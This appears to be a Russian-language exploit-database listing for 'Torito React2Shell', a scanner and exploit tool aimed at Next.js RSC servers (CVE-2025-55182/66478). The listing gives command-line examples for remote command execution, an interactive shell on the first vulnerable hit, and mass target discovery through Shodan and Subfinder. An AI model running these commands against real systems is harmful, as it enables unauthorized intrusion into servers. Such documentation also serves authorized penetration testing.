Exploit for Torito-R2S

## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-TORITOIO-TORITO-R2S
# Torito React2Shell Сканер и эксплойт-инструмент (CVE-2025-55182 / 66478)

![Torito Logo](https://torito.io/torito.svg)

Сканер, ориентированный на обнаружение, для целей Next.js RSC с опциональными режимами подтверждения PoC и эксплойта/оболочки. Используйте только на системах, которые вы уполномочены тестировать. 

## Требования

  * Python 3.9+
  * `pip install -r requirements.txt`
  * Бинарник Subfinder в `PATH` для `--subfinder` (установка через Homebrew `brew install subfinder` или Go: `go install github.com/projectdiscovery/subfinder/v2/cmd/subfinder@latest`; проект: https://github.com/projectdiscovery/subfinder)
  * Использование Shodan требует `pip install shodan` (уже в requirements) **и** ключа: `export SHODAN_API_KEY=...` с доступными кредитами запросов



## Использование

root@kitploit:~
    
    
    python3 torito_r2s.py --help
    

## Флаги

## Примеры

Безопасная проверка (одна цель)

root@kitploit:~
    
    
    python3 torito_r2s.py -u https://target.com
    

Подтверждение PoC (перенаправление по побочному каналу)

root@kitploit:~
    
    
    python3 torito_r2s.py -u https://target.com --confirm
    

Эксплойт с пользовательской командой

root@kitploit:~
    
    
    python3 torito_r2s.py -u https://target.com --exploit-cmd "whoami"
    

Интерактивная оболочка при первом попадании

root@kitploit:~
    
    
    python3 torito_r2s.py -u https://target.com --shell
    

Сканирование списка с экспортом

root@kitploit:~
    
    
    python3 torito_r2s.py -l hosts.txt -t 40 --confirm --json-out results.json --csv-out results.csv
    

Только Shodan (требуется ключ и кредиты)

root@kitploit:~
    
    
    export SHODAN_API_KEY=your_key
    python3 torito_r2s.py --shodan 'http.title:"Next.js"' --shodan-limit 50 --confirm
    

Только Subfinder

root@kitploit:~
    
    
    python3 torito_r2s.py --subfinder target.com --confirm
    

Прокси (Burp/Caido)

root@kitploit:~
    
    
    python3 torito_r2s.py -u https://target.com --proxy http://127.0.0.1:8080 --confirm
    

Конвейер через stdin

root@kitploit:~
    
    
    cat urls.txt | python3 torito_r2s.py --confirm
    

## Примечания к выводу

  * Таблица показывает отпечаток (NX/AR), проверку, подтверждение, эксплойт.
  * Дайджесты эксплойта декодируются из base64, когда это возможно; подробный режим показывает превью.
  * JSON/CSV включают сырой дайджест и декодированный вывод (если есть).



## Безопасность

  * Только для авторизованного тестирования.
  * Запуск по умолчанию — неразрушающая проверка; эксплойт выполняется только с `--exploit-cmd` или `--shell`.